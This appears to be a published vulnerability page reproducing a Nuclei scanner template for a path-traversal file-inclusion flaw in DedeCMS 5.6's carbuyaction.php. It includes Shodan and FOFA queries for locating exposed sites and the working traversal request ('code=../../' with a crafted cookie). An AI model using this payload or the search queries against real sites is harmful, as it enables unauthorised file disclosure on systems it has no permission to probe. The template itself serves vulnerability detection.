dedecms-carbuyaction-fileinclude: DedeCmsV5.6 Carbuyaction Fileinclude

2025-08-01 DedeCms PoC Public

Description

A vulnerability in DedeCMS's 'carbuyaction.php' endpoint allows remote attackers to return the content of locally stored files via a vulnerability in the 'code' parameter.

shodan: http.html:"power by dedecms" || title:"dedecms"

fofa: app="DedeCMS"

PoC

id: dedecms-carbuyaction-fileinclude

info:
  name: DedeCmsV5.6 Carbuyaction Fileinclude
  author: pikpikcu
  severity: high
  description: A vulnerability in DedeCMS's 'carbuyaction.php' endpoint allows remote attackers to return the content of locally stored files via a vulnerability in the 'code' parameter.
  reference:
    - https://www.cnblogs.com/milantgh/p/3615986.html
  classification:
    cpe: cpe:2.3:a:dedecms:dedecms:*:*:*:*:*:*:*:*
    cwe-id: CWE-23,CWE-73
  metadata:
    verified: true
    max-request: 1
    vendor: dedecms
    product: dedecms
    shodan-query: http.html:"power by dedecms" || title:"dedecms"
  tags: dedecms,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/plus/carbuyaction.php?dopost=return&code=../../'

    headers:
      Cookie: code=cod
    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Cod::respond()"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f4391f792d11ce2639c76f7c37bb49cac6987142d3a60a61eee0aab7d0874c2c022100ad5be27faf4ac8fc8df4bc02258daf659b86ec81720200f4094cd66fdcf84e64:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/dedecms/dedecms-carbuyaction-fileinclude.yaml

References

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